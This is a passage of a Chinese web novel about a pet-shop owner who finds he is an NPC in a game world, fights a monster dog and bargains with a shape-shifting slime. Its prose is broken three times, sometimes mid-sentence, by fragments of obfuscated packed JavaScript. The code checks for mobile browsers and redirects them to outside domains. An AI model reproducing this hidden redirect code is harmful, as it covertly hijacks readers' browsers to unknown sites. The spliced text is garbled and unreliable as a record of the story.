这个世界如此糟糕，却又在某些地方某些事物又如此美好，它们拦着季琉，不让季琉从悬崖边坠下。 “我知道了，我会尽快。” 季琉突然冷静下来，他把金毛的头放在地上，然后站起来，看着挡在他面前的骨狗，说， “周眠，去对面，把方医生弄过来。” 周眠踌躇半晌，他看着挡在前方的骨狗，又看了眼对面的宠物医院： “我怎么去……” 季琉抄起店门口的折叠凳： “我来训狗。” “嗞——” 店内地面上的显示器突然亮了，闪了闪之后，一条手臂从里面伸了出来。 18. 第 18 章 一个普通人能做什么呢？ 方医生站在宠物医院门口，他拿着医药箱，犹犹豫豫的，脚上一双拖鞋，刚从里面的诊断室里面出来。 其实从一开始方医生就听到了对面小店的动静，他的游戏面板也不断提示附近有精英怪，可他没想到的是，那个精英怪竟然是他昨天送过去的潦草小狗。 不过，那只潦草小狗现在才变身，一时之间，方医生不知道该说他自己是幸运，还是不幸。 “方、方医生，救命啊。” 一个年轻人贴着决斗场边缘跑过来，他看样子被吓得不轻，两腿都在打哆嗦， “我是对面小店的周眠，我知道你是玩家，我也是，方医生你快出手吧。” 不认识。 在这个自由的游戏世界里，似乎玩家也没有必须对玩家好的必要。 方医生用一种十分疏离的表情客气地敷衍笑了一下，然后他用眼神示意年轻人看了一眼他手里的医药箱，解释道： “我攻击力不高的……” “怎么可能！” 看上去软乎乎的青年瞪大了眼睛，脸色铁青， “你血量那么高！” 说完，也不知道周眠做了什么，他的头顶飘出来一个血条： 【血条：3200/3500】 方医生叹了一口气，看向周眠的眼神有些不满： “孩子，刚进游戏吧？我告诉你，血条长的不一定是高手，他还可能是一个为了治疗量而堆血条的奶妈。” 周眠：？ 方医生：“我是纯奶妈。” 周眠：“……” 两人大眼瞪小眼半晌，最后还是周眠拉住方医生的袖子一角： “我不管，就算奶妈也能救人吧，你进战场奶吧！” 方医生并没有立刻回答，他抬手给周眠看了一下手里的医药箱，然后眼神复杂地问道： “孩子，你不觉得今天这场战斗，我们最好不要插手吗？向来都是玩家打boss，你见过npc打boss吗？” 在他们不远处的沥青路上，骨狗和季琉正在对峙，小小的人形npc头上出现了词条和血条： 【愤怒的店主】 【血条：2000/2300】 从血条上来看，季琉连身体健康都算不上，并且和对面血条一万的boss相比，季琉可能都经不起骨狗的一巴掌。 更让人觉得搞笑的是，自身不行也就算了，道具也不行，季琉手里只有一把老旧的折叠凳。 这把折叠凳怕不是上世纪流传下来的。 战斗结果似乎十分明了，奶都奶不过来，何必浪费道具和精力。 “那你提着医疗箱站在这里干什么？” 周眠冷笑了一声，娃娃脸上弥漫出一股肃杀的味道，他拿出一把刀，架在方医生的脖子上， “进战场，先救狗，再救人。” 方医生：“……” 他倒是小看了这个周眠。 方医生正准备还说点什么的时候，游戏面板再次蹦出来一条通知，突如其来的通知打断了两人之间的拉扯，再看完通知内容后，两人同时扭头看向战场。 战场上不知道从哪里多出了一个人。 那个人像是一个黑色的幽灵，就这样“啪”的一声，突然出现在战场。 从身形上来看，祂是个男性。 他穿着漆黑的作战服，身上全副武装，防弹背心、作战手套、作战靴让他像个刚从战场上下来的特殊部队的现役人员。 头部被头盔包裹得严严实实，他的整张脸的部分被黑色的弹性面罩包裹，隐约透露出五官的轮廓，没有眼睛。 他的手里没有拿枪，戴着作战手套的手抬起，摆出一个防御的姿势。 几秒后，黑幽灵把手放下，他按了一下腰间佩戴的各种道具，却又没把武器从腰间拿出来，反而垂下手，呆呆地站在原地，不知道在想些什么。 “他是助战的？帮哪一边的？” 周眠关上游戏面板的通知，小声地问方医生。 这个黑幽灵是敌是友？ 方医生尝试用游戏面板查找黑幽灵的来源，结果发现黑幽灵的痕迹…… 来自季琉的店内？ 两个玩家互相对视了一眼，都看到对方眼里的疑惑不解。 随后，两个玩家又都从头到尾地把黑幽灵打量了一遍，然后统一看向黑幽灵的头顶： 【？？？】 【血条：？？？？/？？？？】 “这算隐藏npc还是boss？” 周眠收回自己拿刀的手，疑惑地问方医生。 方医生正在用游戏面板疯狂对着黑幽灵拍照，同时抽空回复： “我也不知道，这是我第一次看到全是问号的。” 黑幽灵的登场，也同时让季琉和骨狗暂时停了下来。 他们也不知道这突兀加进来的一方，究竟是敌是友。 骨狗暗暗地调整了姿势，长尾垂下，骨尖滑过地面，歪着头，用眼睛看向了黑幽灵。 季琉用眼角余光隐晦地瞥视黑幽灵，不知道为什么，总觉得旁边这人的穿戴有点眼熟。 总之，战场一下子呈现静止状态，从两方对峙，变成了三足鼎立，所有人都在等待一个时机。 不论怎么说，就算多出来了一个人，现在还是npc之间的乱斗，方医生可不愿放弃近距离观察的机会，这次，不需要周眠催促了，他自己就提着医药箱，一脸兴奋地贴着战场边缘，往地上躺着的金毛那里走。 周眠纠结了一会儿，他选择跟在了方医生后面，小声地问道： “我们这样，不会被打吗？” “被打也值了。” 方医生的声音里面隐藏不住的兴奋， “反正我血条长！” 奶妈还是可以磨死boss的，只是时间长短问题。 周眠：“……” 不管方医生如何压低声音，在三方对峙的战场上，他的一举一动还是会被无限放大，季琉还是忍不住回头，看向了方医生，见方医生蹲在金毛身边拿出医药箱治疗后，他才松了一口气。 因为还在和骨狗对峙，季琉不敢多看，立刻扭头回来，却在扭头这一动作中，微妙地注意到，黑幽灵的脸也转向了金毛。 虽说黑幽灵没有脸，季琉不敢真的确定他在“看”金毛那边，但这是不是说明，最起码，黑幽灵对他的敌意不会那么大？ “你……” 季琉换了一只手拿折叠凳，他尝试着和黑幽灵对话。 而他的话音刚落，整个战场的局面突然发生了变化—— 黑幽灵忽然动了，他朝着骨狗的方向冲去。 而在黑幽灵动身的那一刻，骨狗迅速转向了黑幽灵，骨节长尾在半空中划破空气，发出一声尖啸，“噗”的一声，直直地插入黑幽灵的胸膛。 正俯身奔跑的黑幽灵浑身一僵，一根白色的骨节尾刺从他的后背穿出。 在场一片寂静。 下一秒，骨节长尾一甩，黑幽灵就如同一个破口袋一样，直接甩了出去，“砰”的一声掉在地上，四肢软绵绵的搅和在一起，一动不动。 季琉把剩下的话给吞了回去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238749|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就、就这样？” 蹲在角落里的周眠结结巴巴地问方医生。 没有人会想到事情如此发展。 黑幽灵的登场神秘又帅气，再加上他那无数问号的词条，这些无一都让人猜测他是个隐藏大佬，结果被一击致命。 而且周眠还没弄清楚黑幽灵到底是哪一边的呢。 如此文不对题，这么快就白给了？ 白瞎了这么独特的建模。 方医生虽然没说话，但是他的表情和周眠差不多，他叹了一口气，想了想，停止了对金毛的治疗，转而对准了季琉。 不论怎么说，是他坑了面前npc一把。 从人道主义来讲，方医生决定，他会尽力把季琉的血条拉一拉，最起码等警察来前，不让季琉死掉： “加油，挺个十五分钟就好了！” 按照游戏设定，像这种市区内出现boss并有npc误入战场的，警察们会15分钟后到达战场结束战斗。 现在问题是，怎么确保季琉十五分钟后，血条不为零。 方医生此话一出，旁边的周眠就忍不住翻了一个白眼。 季琉没有回话，他也没有回头，而是用两只手拿起折叠凳，若有所思地盯着骨狗。 现在，在季琉眼里，骨狗浑身覆盖着嶙峋的骨盔，按理来说是固若金汤，可是，总有小字浮在骨盔的各个连接处，点出了弱点。 ……可是，就这样撞过去，他会死的吧。 季琉犹豫着要不要把方医生丢过去。 骨狗调整了一下姿势，重新对准了季琉，黑色的眼珠里竟然人性化地出现了“鄙夷”的情绪。 季琉与骨狗对视，他捏紧了手里折叠凳，决定拼一把—— “砰” 一声巨响，谁也没有看清楚怎么回事，只看到一道黑影猛地朝“骨狗”撞去，然后骨狗被撞得后退了好几步。 等那黑影站在骨狗身上，给了骨狗一拳后，所有人都呆住了： 那不是被刺穿的黑幽灵吗？ 他还活着？ 活着，还活蹦乱跳的。 和身上穿戴的高科技设备给人的印象完全不一样，黑幽灵没使用任何热武器，他就是像一颗炮弹一样冲过来，然后一拳一拳地砸在骨狗的骨盔上，发出沉闷的声响。 疯狂而执着。 骨狗愣了一下，它迅速朝黑幽灵撕咬过去，骨节长尾发出阵阵啸声，伤害惊人。 黑幽灵不避不闪，被击飞后，他在双脚落地后，继续直直地朝着骨狗冲去，在被骨节长尾再次刺中的同时，他发生了变化—— “啪” 黑幽灵体表突然炸出白色的骨刺，撞上了骨狗的白色骨盔，两者相击，发出骨骼碰撞的脆响。 骨狗疑惑地歪了一下头，因为它闻到了熟悉的味道。 而正当它疑惑之际，趁着骨狗一时分神，在方医生眼中，一直划水的季琉突然小跑上去，拿着折叠凳，朝着骨狗腿部来了一下—— 和骨狗巨大的身躯相比，季琉的身体小得可怜，他还只拿着一把折叠凳，跟开玩笑一样。 两大boss对决，蚂蚁上去干什么？ 扫过的拳风都能秒掉蚂蚁。 方医生刚想张口喊季琉回来，结果下一秒他被噎住了。 骨狗身边冒出了几个字： 【暴击】 【-1000】 与之形成鲜明对比的，是黑幽灵气势磅礴的下一击，白色骨刺如同竹笋般刺向骨狗： 【-250】 方医生：“……” 这不科学！ 20. 第 20 章 “你……要不要去看心理医生？” 娃娃脸警察站在一堆废墟前，左肩的执法记录仪一闪一闪的，他双手叉腰，眼神复杂地看着季琉， “身上，那些……哎，都干了。” 季琉还穿着上班时候的衣服，听见娃娃脸警察这么说，他疑惑地低头扯了一下自己的衣角： “怎么了？” 在季琉的眼里，他身上的衣服除了粘上了一点灰，没有别的什么毛病。 “你看不见吗？你的身上都是血。” 见季琉一脸淡定，娃娃脸惊讶地张开了嘴。 他想要用词语来形容季琉如今的样貌，但匮乏的词语让娃娃脸只想到了【杀人狂】三个字。 可是吧，这【三个字】和看上去文文弱弱的季琉完全不相干，而且，娃娃脸并不想刺激到季琉。 不论是之前的接触，还是如今季琉的样子，娃娃脸摸着自己的良心，都不敢说季琉的精神状况还算好。 如此纠结之下，娃娃脸脚边逐渐出现了一只卡皮巴拉，那只棕色的卡皮巴拉的身形时不时闪现，一卡一卡的，把自己卡成了一个ppt。 见季琉一片淡然，娃娃脸也不知道季琉是真的看不见，还是心理因素上自动屏蔽，他斟酌着词汇，小心翼翼地点出了真相： “那些血都干了啊，你一动就扑簌簌地落灰。” 季琉沉默了几秒，他的眼神有点茫然。 血？哪里来的血？ 为什么他看不见？ 是他的幻觉又犯了？这次是看不见什么了？还是说…… 脑子里的思绪像是被放进了滚筒洗衣机，季琉眼前又浮现出别人看他的异样的眼神—— 所以，那个娃娃脸怎么看他？ 季琉的鼻尖仿若嗅到了血腥味，腥味还散发着热气，似乎它们下一秒就会从对面的肉.体中喷涌而出。 在季琉沉默的时候，卡皮巴拉艰难地卡到了季琉的脚边，拿出小黑爪子，按到了季琉的脚上。 季琉的眼神一下子清明起来，鼻尖的血腥味瞬间消散，他摸了摸鼻子，装作满不在乎： “没事，反正恶心的是你们，我又看不到。” 季琉对着娃娃脸警察笑了一下，也不管他那半张带血的脸给娃娃脸多大的惊悚。 娃娃脸：“……” 等等，刚才你的眼神时不时有点不对劲？ 娃娃脸的表情变了又变，他明显想要说些什么，最后又闭上了嘴，叹了一口气： “算了。” 前面招呼打完了，娃娃脸正色起来，他微微扭过头，瞥了身后的几人一眼，确认这边还没人注意到后，他回过头，压低声音，快速地说道： “你知道旁边那两人是什么吗？” 季琉点点头，只是这么轻微的一个动作，他脸上粘着的干涸的血块立刻裂了，掉了一小块下来，自己浑然不觉： “知道，他们是玩，哦，是你们口中的异界人。” “对呀，你刚觉醒，怎么和异界人搅和到一起了？” 娃娃脸一拍大腿，恨铁不成钢， “你就不怕他们坑死你吗？” 闻言，季琉露出一个沉思的表情，思考了几秒后，说： “也就是说，只要我能坑死他们，那么我就能和他们搅和在一起了。” 最后，季琉露出一个恍然大悟的表情： “谢谢你的提醒。” 娃娃脸：“……” 他都开始怀疑季琉是不是克苏鲁，为什么一碰到季琉，他本来还算正常的思维开始通通打结。 “不是这样算的。” 娃娃脸把想不通的地方抛之脑后，终于想到自己要说什么，他再次严肃起来，解释道， “我是接到警告才来的。先不谈那些异界人的品格，他们很容易吸引这个世界变异怪物，到时候，你会被牵连的。” 说穿了，就是玩家不是在打怪的路上，就是在被打的路上，而作为一个无辜npc，运气好点的就是被牵连，运气不好就是被玩家抓起来丢给boss当饲料。 现在来说，季琉就是个刚刚知道世界真相的，手无缚鸡之力的，可怜的npc。 “你看看今天。我只能说，你遇到的两个异界人还算好人，帮你打了怪物。要是下次碰上个对你有恶意的异界人怎么办？” 娃娃脸连连叹气和摇头，他都不愿意去相信满身是血的季琉打了boss，反而用心良苦地劝说季琉以后锻炼身体，至少把血条给拉一拉。 季琉：“……” 懒得去解释，季琉问： “他们打了怪物有什么好处吗？” 听到这个问题，娃娃脸精神起来了，他凑到季琉身边，小声地说道： “既然你看见怪物被他们异界人打死了，那你看见怪物没了后掉的白色晶体了？” 季琉挑了一下眉，没有立刻回答。 “那玩意儿相当于是补品，异界人和我们都可以拿走，可以换钱，也可以吃。” 娃娃脸脑补成季琉已经捡了那个白色晶体，他继续压低声音，说， “我们鼓励公民上交，有奖励的。” 说完，娃娃脸满含期待地看向季琉，两只眼睛亮晶晶的，充满了鼓励，特别像是幼师在等待小孩儿做出规定的动作，而一旦季琉“听话”了，他就会拿出一朵小红花作奖励。 季琉与娃娃脸对视，试图用无辜的眼神回答： “没有。真的。” 娃娃脸定定地与季琉对视。 几秒后，他对着季琉露出一个不忍直视的表情： “不要这样看着我，你半张脸都是血啊……算了，我把你送回去。” 如果是季琉之前的无辜虚弱的样貌，或许真的能勾起娃娃脸的同情心； 可如今季琉一副刚“杀”完人的屠夫模样，这番表情倒显得季琉像是个故作柔弱的杀人狂诱饵，看得人眼睛和脑袋都分裂了。 见没有用，季琉又恢复成之前冷冷的样子，摆摆手，说： “不用了，我今天骑电动车了。” 娃娃脸大怒： “我是担心你吗？我是担心你走在路上，会让一大群人报警！你也不看看你现在什么样子，跟刚杀完人跑出来一样。” 季琉满不在乎，他背起双肩包，看向了自己店门口停电动车的地方—— 没了。 季琉：？ 在季琉茫然的时候，娃娃脸顺着季琉的视线看过去，一秒就知道了季琉在找什么，瞬间笑了： “忘了跟你说，现在有一群异界人超级喜欢偷电瓶车。” 季琉：“……” 比起季琉这边轻松的氛围不同，寸头经常那边则是非常严肃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238751|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他有些不解为什么两个异界人在抢一个折叠凳，不过这不影响把人抓去蹲局子。 寸头冷冷地瞥了方医生和周眠一眼，说： “你们损害了我们公民的财产。” 方医生松开手，他放弃了抢折叠凳，转而陪笑道： “我已经和季琉做好协商了，他的损失我来赔偿。” 周眠眨巴眨巴眼，偷偷地把折叠凳往自己身后拖。 “你是不是以为自己很了不起？” 寸头的眉头一皱，他最讨厌的就是这群异界人。 这群异界人不把所有人放在眼里，仗着自己有点奇怪的技能，随便进人家里翻箱倒柜都算好的了，更多的异界人根本就不把人命放在眼里，因此，寸头对所有的异界人都心存芥蒂。 “不要这么看着我。” 方医生还是彬彬有礼，他示意寸头看向脚边的金毛，说， “这一次我什么都没得到，我还救了这只狗。我想，我或许可能会和季琉成为朋友。” 寸头的眼神一下子沉下来，他眼神犀利地盯着方医生，说： “季琉是个普通人。我警告你，别动他。” 方医生挑了一下眉，没有接话。 他知道，现在说什么都会被当做借口，索性不再辩解。 一直沉默着装蘑菇的周眠突然弱弱地开口问道： “那个，警察同志，我是季琉的员工，也是受害者这一。” 他指向方医生，直接出卖了方医生： “是他故意把变异怪物伪装成小狗让季琉养的，我今天什么都没干，是被无辜卷入战场的。你看我血量！” 在周眠的控诉中，他的头顶显示出血条： 【血量：3100/3500】 “我的血条本来就不长，还又掉了一百。” 周眠吸了吸鼻子，一脸沮丧， “我可能根本就不适合这里。” 寸头警察收回视线，用谴责的目光注视着方医生。 方医生：“……” 这的确都是事实，可是为什么从周眠嘴里说出来后，一切都变得奇奇怪怪了呢？ “方医生是吗？我知道你，你叫方海生，在联盟注册了的。既然如此，那你更应该知道规矩。” 寸头冷冷地说了一句。 他从身上拿出一个形式特殊的仪器，在电子屏幕上点了点。 几秒后，方医生眼睁睁地看着自己头顶多了一个红色的菱形方块。 同时，他的游戏面板蹦出来一条通知： 【罪恶值：59/60】 【警告：玩家罪恶值达到60后会被抓捕。现在由秦峰（编号：TJ536）发布警告，警告悬浮三天，不可撤销。】 方医生直接跪了： “警察同志，我知道错了，不要对我标点啊，我会被仇家仇杀的！” 顶着这么醒目又不能删的菱形方块，不就是告诉附近所有玩家赶紧过来捡道具和消罪恶值，这里有个人是悬赏目标的预备役吗？ 方医生上线这么久，干得烂事也不少，虽然后面洗心革面了，但因为没时间，方医生就一直懒得去消罪恶值。 现在好了，罪恶值直接加到红线了，分分钟一不小心（可能就是丢个垃圾就被加一分），然后会被其余玩家抓捕丢监狱。 寸头警察：呵呵。 21. 第 21 章 “你住在这里？” 娃娃脸把着方向盘，他好奇地透过车窗，打量附近。 这里是季琉住的老小区，录完笔录，把人送回家时，现在已经是傍晚了，天边的太阳已经看不见了，夜幕在天空另一边。 季琉一边解安全带，一边打开车门： “是的，你停在这里就行。” “你……很穷吗？” 娃娃脸忍不住问道，他一脸同情地看着季琉的背影，想到面前人那么宝贝他怀里破破烂烂的双肩包，还有那么小的一个店（哦，现在已经没了），同情心忍不住泛滥。 季琉回头，眼角抽搐了一下，他不明白为什么娃娃脸警察会关心这个： “我不介意你给我钱。” “你住在这里也好，这里全是老破小，绝对没有异界人到你屋子里去翻什么宝箱。” 娃娃脸顿了顿，继续说道， “有什么问题的话，找我……哦，对了，最近晚上不要出门了，不安全。” “为什么这么说？” 季琉好奇地问道。 “因为……哎，反正不太安全，还有，尽量不要去海边，那边也不太安全。” 娃娃脸叹了一口气，眼下的青黑说明他最近根本就没睡好觉， “你要是看到什么可疑人物的话，也可以报告给我，提供线索的话，会有奖金的。” 季琉按了一下怀里的双肩包，确认里面还有那团史莱姆后，不动声色地开始套话： “海边又怎么了？我前几天还去海边玩了一晚上。” “有人说曾在海边看见过奇怪的人影，那人影行动僵直，跟丧尸一样走路。” 娃娃脸的手指在方向盘上点了点，愁眉苦脸的， “还有，不知道异界人发了什么疯，最近几天，他们都一窝蜂地跑海边，据说是有人捡到了预言书，搞得其余异界人都想过去碰碰运气。” 不听指挥的玩家，莫名其妙的人影，在加上一个毫无踪影的连环杀/人狂，这三样加在一起，足够娃娃脸从白天忙到黑夜，再忙到白天。 一抬眼，看见季琉若有所思的样子，娃娃脸好奇问道： “你真知道线索？” “我在海边丢了一部手机。” 季琉说， “为了避免别人透露我隐私，我是不是最好找回来？” 宠物小店平日里活很少，没事干的时候，季琉就会在手机的备忘录里写自己的幻觉。 这是曾经他的心理医生周医生给他的建议。 本来是个好事，但问题是，季琉写着写着就中二病发作，开始胡乱在备忘录里添油加醋。 如果被玩家们发现了…… 季琉不想在另外一个世界被公开处刑。 娃娃脸呆呆地点头： “啊？那的确是得找回来。” 那些玩家现在可凶残了，沙滩都被掘地三尺，什么都不放过，捡到什么垃圾都可能被玩家视为道具。 在这种情况下，只能祝愿季琉的手机最好还没被玩家找到。 “总之，你最近还是小心点，如果遇到什么形迹可疑的人，还是给我打电话。” 娃娃脸不放心地再三嘱托，他委婉道， “你最近的运气不是太好，有空也可以去庙里拜拜。” 季琉点点头，试图露出一个温柔的微笑来安慰一下娃娃脸： “好……” “哎呀，你别笑了。” 娃娃脸不忍直视，他别过脸，打断季琉的话， “你顶着一张都是血污的脸跟我说话，我怕晚上回去做噩梦。” 季琉一秒面无表情。 五分钟后，季琉站在自家屋子的客厅窗户那里，目送着下面的警察离开。 等确定人走后，季琉舒了一口气，他把窗帘拉上，打开了一盏台灯，然后走到客厅沙发那里，把双肩包打开。 首先拿出来的是小方盒里的仓鼠小米，小米不愧是在季琉店里待过的，胆子比普通仓鼠大得多，该吃吃，该喝喝，独眼瞄了一眼季琉后，就继续在木屑里面钻来钻去。 把小方盒放到一边，安顿好小米后，季琉从双肩包伸出拿出了史莱姆。 史莱姆看上去状态不太好，非常疲惫，平日里半透明的球体都瘪了，它都快从季琉的手里流下来了，除此之外，黑色豆豆眼附近竟然起了一层褶皱，看上去就像是给自己长了个眼袋。 被季琉捧了出来后，史莱姆才像是回过神来，它睁开两个深深的眼袋，瞥了季琉一眼。 两秒后，史莱姆发出一声尖锐的爆鸣，整个软乎乎的透明团子发颤，抖出一层层波浪。 季琉还没反应出来什么事呢，史莱姆收拢起自己快要融化的身体，重新凝聚成一块柔韧的球体，然后“嗖”的一声，跳了出去，慌不择路地在客厅里面来回撞来撞去。 季琉：？ 不知道史莱姆在发什么疯，为了避免客厅里面的东西被撞碎，季琉只能抄起一旁的坐垫，尝试去堵史莱姆。 好在多年在宠物小店堵猫的经验发挥了作用，没一会儿功夫，季琉成功地把史莱姆堵在了墙角，有意思的是，季琉发现，根据史莱姆的视线落点，他心底多出来的“恐惧”这个情绪，时不时地发作，特别有节奏，于是一个大胆的想法亮了起来。 季琉不怀好意地趴在地上，用脸堵着史莱姆的去路： “你怕鬼吗？” 史莱姆发出尖锐的爆鸣声，同时这个爆鸣声调的高低随着季琉的脸距离它的距离长短变化而发生变化，离得近了就尖叫，离得远点就停了下来。 来回几次后，先把季琉逗笑了。 这史莱姆喊得都快成一首歌了。 “哈哈哈哈，我的天。” 季琉擦了一下眼角的眼泪，他知道自己的脸都是血污，但是没想到史莱姆反应会这么大，之前它变成男人的时候不是挺凶残的吗？ “噗叽！” 史莱姆终于回过神来，它愤怒地叫了一声。 “叫什么叫，我还没问你呢，之前打怪都时候，都是我在次次暴击，最后怪物掉的经验值呢？你吃了？” 季琉现在全然接受自己只是个npc，对各种名词已经适应良好，他伸手戳史莱姆的肚子，试图从里面戳出什么代表经验值的白色晶体。 史莱姆抖了一下身体，看上去是想犟嘴，但是不知道最后为什么没说出来。 “还有，不是你吃了键盘吗？为什么我可以拿出来？你果然有个什么包裹之类的东西吧？还是说，你把我的东西给拿了？” 季琉继续戳。 史莱姆尝试把两颗豆豆眼给转到背面，却在游移的一瞬间，被季琉一指头戳到一颗眼珠旁。 “把白色晶体吐出来。” 季琉一用力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238752|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在史莱姆身上戳了一个窝窝。 史莱姆不敢动眼睛了，它磨磨唧唧半晌，嘴一张，一颗小小的白色晶体“咣当”一声，掉在了地板上。 终于见到这个白色晶体，季琉把它拿起来，细细地打量了一遍。 它是一个不规则的晶体，指甲盖大小，表面雾蒙蒙的，整个看上去就像是一个随意做出来的奶白色糖果。 季琉想，难怪这玩意儿在警察口中是可以吃的，看上去怪香的。 把视线从晶体上收回，季琉毫不意外地看到了史莱姆垂涎欲滴的模样。而史莱姆一接触到季琉的视线，它立刻欲盖弥彰的把小黑豆豆眼往下瞥，生怕季琉看见了它刚才还对白色晶体流连忘返。 “这个东西，本来应该是我的。” 季琉又强调了一遍。 故意停顿了两秒，季琉温柔地摸了摸史莱姆的头，说道： “不过，你终于听我的话了，没有直接消化掉这个晶体，我该怎么奖励你呢？” 史莱姆顶着头上的手掌，两只眼睛放出了精光。 “但是，你之前变成人形后，是想攻击我的，对吧？那怎么办呢？” 季琉问。 他非常开心地看着史莱姆的脸又一下子跨了下来，两颗黑豆豆眼变得明明灭灭的。 “我一向奖罚分明。” 季琉说， “变成人形我看看。” 史莱姆：？ “快点。就你那个建模的仿制品，记得是全套装备的。” 史莱姆不解，但是瞄了一眼季琉手里的白色晶体，它“噗叽”了一声，含恨变成了人形。 看着一团小小的史莱姆再次大变活人，这种感觉十分奇妙。 没一会儿功夫，季琉面前的史莱姆就变成了一个全副武装的男人。 和当时战场上的蒙面黑幽灵一模一样，他穿戴着全套行军装备，黑色面罩把他的脸捂得严严实实，结实的胸膛把防弹背心撑得鼓鼓的，一米九的大个子被堵在墙角，显得格外局促，两条大长腿无处安放，厚厚的战斗靴在地板上蹬了两下，最后只能无奈地夹住了季琉的腿。 之前两人站着还不觉得什么，现在这种情况，季琉瞧了一眼虚虚靠着自己腰旁的两条黑色军装腿，突然意识到，面前的男人，比他大了整整一圈，光凭借这两条腿，男人就能一下子夹断他的脊椎，或者头颅。 而如此明显的体型差，对面的男人也察觉到了，他哼哼了两声，面罩下的唇似乎动了动，戴着作战手套的双手抓住季琉的腰，像是抱一个小兔子一样，把季琉抓起来，晃了晃，然后让季琉跨坐在了他的腰上。 季琉有些愣住，心中有一丝微妙的不爽，他试图从男人身上起来，但是他一动，男人就按一下他的腰，把他给按了回去，还故意掐了一把季琉的大腿。 男人似乎挺喜欢这个姿势的，一只手还放在季琉的腰上，另一只手，则朝着季琉的屁股不痛不痒地拍了一巴掌。 季琉呆住了。 打完之后，男人调整了一下自己的姿势，让自己更舒服的地靠着墙角。 男人支起上半身，在季琉的注视下，他缓缓地靠近季琉的手，用自己黑色面罩下的唇，轻轻地碰了一下季琉拿白色晶体的手。 像是一只大型犬，小心翼翼地向主人乞讨食物。 季琉听到自己的心脏狂跳。 耳朵在渐渐发热。 22. 第 22 章 总之，男人成功了。 或者说，是史莱姆成功了。 季琉没想到自己的xp是覆面系，他被迷得七荤八素的，手里的晶体也不管了，反而是手不听使唤地把晶体往男人嘴边递。 可让季琉有些遗憾的是，男人并没有摘下他的面罩，而是扬起了脖子，露出自己最脆弱的地方。 季琉看着黑色纤维覆盖下凸起的喉结，他的耳朵更烧了，想要去触碰，手指颤颤巍巍地朝着那边伸去，指尖只差一厘米就可以触碰到黑色纤维时，季琉顿住了。 这样……是不是有点不安全？ 残存的理智值提醒着季琉要小心，他犹豫了一下，终于回想起男人真身—— 史莱姆和他有点不太对付。 出于安全考虑，季琉还是决定小心点。 正当季琉准备把手撤回时，男人的脖子裂开了一条口子，露出里面鲜红的内里还有锋锐的利齿。 柔韧且湿热的长舌一下子卷住了季琉的手腕，然后猛地一拉，季琉的手就被咬住了。 锋利的牙齿本来可以直接咬碎一截骨头，可男人脖子上的裂口把季琉整个手腕都咬进嘴里后，并没有把季琉的手腕齐根咬掉，而是含着，里面黏黏糊糊的唾液沾了季琉一手。 季琉浑身直立的汗毛，在这一瞬间又莫名其妙地被顺好了。 一直吊着的心脏，“啪”的一声落地。 “松开。” 季琉想到了楼底下的小白。 第一次和小白见面时，小白那只小土狗就是这样骗走他一整根火腿肠的。 男人不语，他握着季琉另一只还拿着晶体的手，使劲捏了捏，即便他的脸上没有五官，更没有眼睛，可季琉就是能感受到男人浑身散发出的暗示意味。 季琉：“……” 五分钟后，男人心满意足地吃到了白色晶体。 这玩意儿对于男人来说就像是一颗糖，他脖子上的裂口把季琉的手吐出来，尖锐的利齿咬住那颗白色晶体一用力，“嘎嘣”几声，就把那颗晶体咬得粉碎。 一边消化那颗白色晶体，男人的手也开始不老实起来，他捏捏季琉这里，捏捏季琉那里，掀开季琉的衣服下摆，揉揉季琉的腹部，又揉揉季琉的胸口，和小孩子玩娃娃一样。 季琉这个时候的脾气好得过分，他并没有阻止男人的动作，在季琉眼里，男人还是那个史莱姆…… 所以，好奇人体结构，也是对的吧？ 或许是为了下一次变身的时候更像人类，比如变出一张脸来？ 季琉紧紧地盯着男人的脸部位置，好奇黑色面罩之下，究竟会是什么样子的一张脸。 于是，在季琉的放纵下，男人的手越来越往下，同时他挺起了腰背，脖子上的裂口越来越大，里面的长舌伸出，作势要舔季琉一口—— 【您有新的……■■……】 房间里突然多出来一道机械电子音。 正准备摸一把男人胸肌的季琉停下了动作，他跨坐在男人的身上，侧耳等待了几秒，没有再次听到任何的声音。 又是幻觉吗？ 季琉一把攥住面前的长舌，忽略掉手里黏腻的柔韧肉感，问： “你听到什么了吗？” 男人摇摇头，他脖子上的裂口从脖子裂到了前胸，他身上的防弹背心也随之裂开，露出下面的血肉。 季琉皱着眉，他直觉有什么东西脱离了掌控。 下一秒，季琉捂着心脏部位，脸色一下子变得惨白： “我有点想吐。” 莫名的拉扯感突兀地出现在季琉的身上，这一次季琉感觉自己成了一团面团，正在被两只手无情地拉扯，扯得他意识被分成了两个，又被揉成了一团，分分合合的，搞得他一时之间都不清楚自己是否活着。 当这种拉扯感到达顶峰，季琉本人实在是受不住，他的意识直接“啪”的一声断电，陷入一片黑暗。 而从男人的角度，季琉身上发生的变化就显著多了： 